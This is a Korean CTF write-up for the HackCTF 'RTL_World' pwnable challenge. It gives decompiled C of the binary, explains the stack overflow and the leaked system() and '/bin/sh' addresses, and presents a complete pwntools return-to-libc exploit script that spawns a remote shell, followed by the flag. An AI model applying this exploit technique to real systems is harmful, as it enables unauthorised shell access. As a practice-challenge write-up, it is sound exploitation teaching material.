-
RTL_WorldCTF/HackCTF 2021. 1. 21. 21:07
Disassembly 디스어셈블리
main()
더보기undefined4 main(void) { int32_t iVar1; char *pcVar2; int32_t *piVar3; int32_t var_90h; int32_t var_8ch; int32_t var_bp_ch; int32_t var_bp_8h; void *s1; setvbuf(_reloc.stdout, 0, 2, 0); var_bp_8h = 0; var_bp_8h = dlopen("/lib/i386-linux-gnu/libc.so.6", 1); var_bp_ch = dlsym(var_bp_8h, "system"); dlclose(var_bp_8h); s1 = (void *)var_bp_ch; while (iVar1 = memcmp(s1, "/bin/sh", 8), iVar1 != 0) { s1 = (void *)((int32_t)s1 + 1); } puts("\n\nNPC [Village Presient] : "); puts("Binary Boss made our village fall into disuse..."); puts("If you Have System Armor && Shell Sword."); puts("You can kill the Binary Boss..."); puts("Help me Pwnable Hero... :(\n"); pcVar2 = "Your Gold : %d\n"; piVar3 = _gold; printf("Your Gold : %d\n", _gold); do { Menu(pcVar2, piVar3); printf(">>> "); piVar3 = &var_90h; pcVar2 = (char *)0x8048dd9; __isoc99_scanf(); // switch table (7 cases) at 0x80490cc switch(var_90h) { case 1: system("clear"); puts("[Binary Boss]\n"); puts("Arch: i386-32-little"); puts("RELRO: Partial RELRO"); puts("Stack: No canary found"); puts("NX: NX enabled"); puts("PIE: No PIE (0x8048000)"); puts("ASLR: Enable"); piVar3 = (int32_t *)var_bp_8h; printf("Binary Boss live in %p\n"); pcVar2 = "Binart Boss HP is 140 + Armor + 4\n"; puts(); break; case 2: pcVar2 = (char *)_gold; Get_Money(); break; case 3: if ((int32_t)_gold < 2000) { pcVar2 = "You don\'t have gold... :("; puts(); } else { _gold = (int32_t *)((int32_t)_gold + -1999); pcVar2 = "System Armor : %p\n"; piVar3 = (int32_t *)var_bp_ch; printf(); } break; case 4: if ((int32_t)_gold < 3000) { pcVar2 = "You don\'t have gold... :("; puts(); } else { _gold = (int32_t *)((int32_t)_gold + -2999); pcVar2 = "Shell Sword : %p\n"; piVar3 = (int32_t *)s1; printf(); } break; case 5: printf("[Attack] > "); read(0, &var_8ch, 0x400); return 0; case 6: puts("Your Not Hero... Bye..."); pcVar2 = (char *)0x0; exit(); } } while( true ); }
main()은 switch case 문으로 여러 역할을 수행하는 코드이다. 바이너리를 실행하면 다음과 같은 화면이 나온다.
1은 해당 바이너리의 정보를 보여준다.
2는 Get_Money() 함수를 호출한다.
3은 2000 Gold를 소모해서 라이브러리의 system() 함수 주소를 보여준다.
4는 3000 Gold를 소모해서 라이브러리 내부의 "/bin/sh" 문자열의 주소를 보여준다.
5는 스택 버퍼 오버플로우가 발생하는 코드이다.
6은 exit(9)으로 프로그램을 종료한다.
Get_Money()
더보기void Get_Money(void) { int32_t var_ch; int32_t var_8h; int32_t var_4h; puts("\nThis world is F*cking JabonJui"); puts("1) Farming..."); puts("2) Item selling..."); puts("3) Hunting..."); var_4h = 0; var_8h = rand(); printf("(Job)>>> "); __isoc99_scanf(0x8048dd9, &var_ch); if (var_ch == 2) { puts("\nItem selling..."); while (var_4h < 0x15f) { var_4h = var_4h + 1; } puts("+ 350 Gold"); _gold = var_4h + _gold; printf("\nYour Gold is %d\n", _gold); } else { if (var_ch < 3) { if (var_ch == 1) { puts("\nFarming..."); while (var_4h < 0x65) { var_4h = var_4h + 1; } puts("+ 100 Gold"); _gold = var_4h + _gold; printf("\nYour Gold is %d\n", _gold); } } else { if (var_ch == 3) { puts("\nHunting..."); while (var_4h < 0x1f5) { var_4h = var_4h + 1; } puts("+ 500 Gold"); _gold = var_4h + _gold; printf("\nYour Gold is %d\n", _gold); } else { if (var_ch == 4) { puts("\nWow! you can find Hidden number!"); puts("Life is Just a One Shot..."); puts("Gambling..."); printf("+ %d Gold\n", var_8h); _gold = var_8h + _gold; printf("\nYour Gold is %d\n", _gold); } } } } return; }
Get_Money() 함수는 Gold를 늘릴 수 있는 함수이다.
RTL
스택 버퍼 오버플로우가 발생하므로 system("/bin/sh")를 호출할 수 있다. 이를 위해서는 system() 함수와 binsh 문자열의 주소를 알아야 하고, 약 5000 Gold를 확보해야 한다. Get_Money() 함수를 반복해서 호출해서 Gold를 늘린 후 필요한 주소를 얻고, RTL을 통해 공격하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./rtl_world" server = "ctf.j0n9hyun.xyz" port = 3010 context.log_level = 'debug' context.binary = binary p = remote(server, port) e = ELF(binary) r = ROP(e) for i in range(8): p.sendlineafter(">>> ", str(2)) p.sendlineafter(">>> ", str(3)) p.sendlineafter(">>> ", str(3)) p.recvuntil("System Armor : ") system = int(p.recv()[0:10], 16) log.info("system : " + hex(system)) p.sendlineafter(">>> ", str(4)) p.recvuntil("Shell Sword : ") binsh = int(p.recv()[0:10], 16) log.info("binsh : " + hex(binsh)) p.sendlineafter(">>> ", str(5)) payload = b"A"*0x90 payload += p32(system) payload += p32(0) payload += p32(binsh) p.sendlineafter("[Attack] > ", payload) p.interactive()
Flag
HackCTF{17_w45_4_6r347_r7l_w0rld}